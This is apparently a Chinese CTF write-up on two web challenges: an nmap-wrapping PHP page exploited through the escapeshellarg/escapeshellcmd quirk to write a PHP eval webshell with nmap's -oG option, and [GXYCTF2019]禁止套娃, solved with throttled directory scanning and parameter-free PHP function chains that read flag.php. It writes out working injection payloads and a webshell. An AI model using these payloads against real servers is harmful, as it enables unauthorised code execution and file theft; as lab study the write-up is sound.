少女祈祷中...

1.nmap

考察点:namp -oG可写入文件,代码审计

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg和escapeshellcmd配合漏洞

  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

回到mail中,我们的 payload 最终在执行时变成了'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\',分割后就是-fa\(-OQueueDirectory=/tmp-X/var/www/html/test.php)@a.com',最终的参数就是这样被注入的。

namp的 -oG模式是可以写入文件的

1
?host=' -oG shell.php -- <-phsp @eval($_POST[1]); ?>

疑问?

明明写入的代码也会被\转义,为什么能被执行呢

1
2
3
1.在 Linux 中,反斜杠(\)是转义字符,用于改变后面字符的原始意义。它告诉解释器后面的字符应该被特殊对待,而不是按照其原始含义解释。\\ 表示一个反斜杠字符。

2.就目前来看可以看到\都没有了只剩下了<?php echo `cat /flag`;?>

那一切都合理了\在linux中其实相当于无实义连接符

剑蚁链接

image-20250424225144913

[GXYCTF2019]禁止套娃

考察点1.禁止扫描时候怎么扫描?

1
2
我们输入:
python3 dirsearch.py -u http://1d4bed91-4866-4caa-8e71-97180e203256.node5.buuoj.cn:81/

返回了

1
Skipped the target due to 429 status code

看来我们得放慢扫描速度:

1
[root@localhost dirsearch]# python3 dirsearch.py -u http://1d4bed91-4866-4caa-8e71-97180e203256.node5.buuoj.cn:81/ -t 10 --delay 2

得到:

image-20250424233109520

由于没有下载githack,便去看别人的抓到的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp']))

{ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))
{ //不允许使用php协议
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))
{ //替换为空字符,匹配的形式是形如a();的无参数的表达式
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))
{
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

考察点2.无参数构造

1
';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

正则表达式解析

正则模式:/[a-z,_]+$(?R)?$/

  1. [a-z,_]+
    • 匹配函数名:允许小写字母、下划线(_)和逗号(,)。
    • 注意:PHP 函数名中 不允许逗号,此处可能是题目设计的陷阱或笔误,实际应为 [a-z_]+
  2. $$
    • 匹配函数调用的括号 ()
  3. (?R)?
    • (?R) 表示 递归匹配整个正则表达式,即允许函数调用的参数部分也是一个无参数的函数调用。
    • ? 表示递归部分是可选的(允许无参数函数)。

合法输入示例

  1. 简单函数链

    1
    a();
    • 替换后结果:;(符合条件)。
  2. 嵌套函数链

    1
    a(b(c()));
    • 替换过程:
      • 匹配最内层 c() → 替换为空 → 剩余 a(b());
      • 匹配 b() → 替换为空 → 剩余 a();
      • 匹配 a() → 替换为空 → 剩余 ;
    • 最终结果:;(符合条件)。

非法输入示例

  1. 含参数或字符串

    1
    readfile('flag.php');
    • 'flag.php' 不符合正则模式 → 替换后残留 'flag.php'; → 结果不是 ;

所以要进行无参数构造

1
?exp=print_r(scandir(current(localeconv())));

返回了:

image-20250425130832375

1
print_r(scandir(dirname(getcwd())));      #不行

是因为na被禁止了

1
highlight_file(next(array_reverse(scandir(current(localeconv())))));

image-20250425130858089

解释exp:

步骤 1:获取当前目录

1
current(localeconv())
  • localeconv():返回包含本地化信息的数组,其第一个元素是小数点字符('.')。

    示例输出:

    1
    Array ( [decimal_point] => . ... )
  • **current()**:取数组第一个元素的值,即 '.'(当前目录)。


步骤 2:列出当前目录文件

1
scandir(current(localeconv()))
  • scandir('.'):列出当前目录下的文件和子目录。

    示例输出:

    1
    Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

步骤 3:反转数组顺序

1
array_reverse(scandir(current(localeconv())))
  • array_reverse():反转数组顺序,使flag.php 更接近数组头部。

    示例输出:

    1
    Array ( [0] => index.php [1] => flag.php [2] => .git [3] => .. [4] => . )

思考:

若是想访问上级目录,但是dirname被禁止了,我该怎么办?

本地搭建测试

1
2
3
4
5
6
7
<?php

$a;
$a=localeconv();
echo($a);

?>

image-20250425233556594

1
2
3
4
5
6
7
<?php

$a;
$a=current(localeconv());
echo($a);

?>

image-20250425233624740

1.尝试直接用chr()

1
highlight_file(current(localeconv()).chr(46).chr(46).chr(47).'flag.php');

第一步就无法绕过

2.灵活使用next

1
?exp=print_r(next(scandir(current(localeconv()))));

image-20250425234920747

1
?exp=print_r(scandir(next(scandir(current(localeconv())))));

成功返回上级

image-20250425235004391

再努力查:

1
?exp=print_r(realpath(current(localeconv())));

image-20250426013200346

1
?exp=print_r(realpath(next(scandir(current(localeconv())))));

image-20250426013108546

后面再怎么努力也无法读出

问ai发现必须出现 . 来进行链接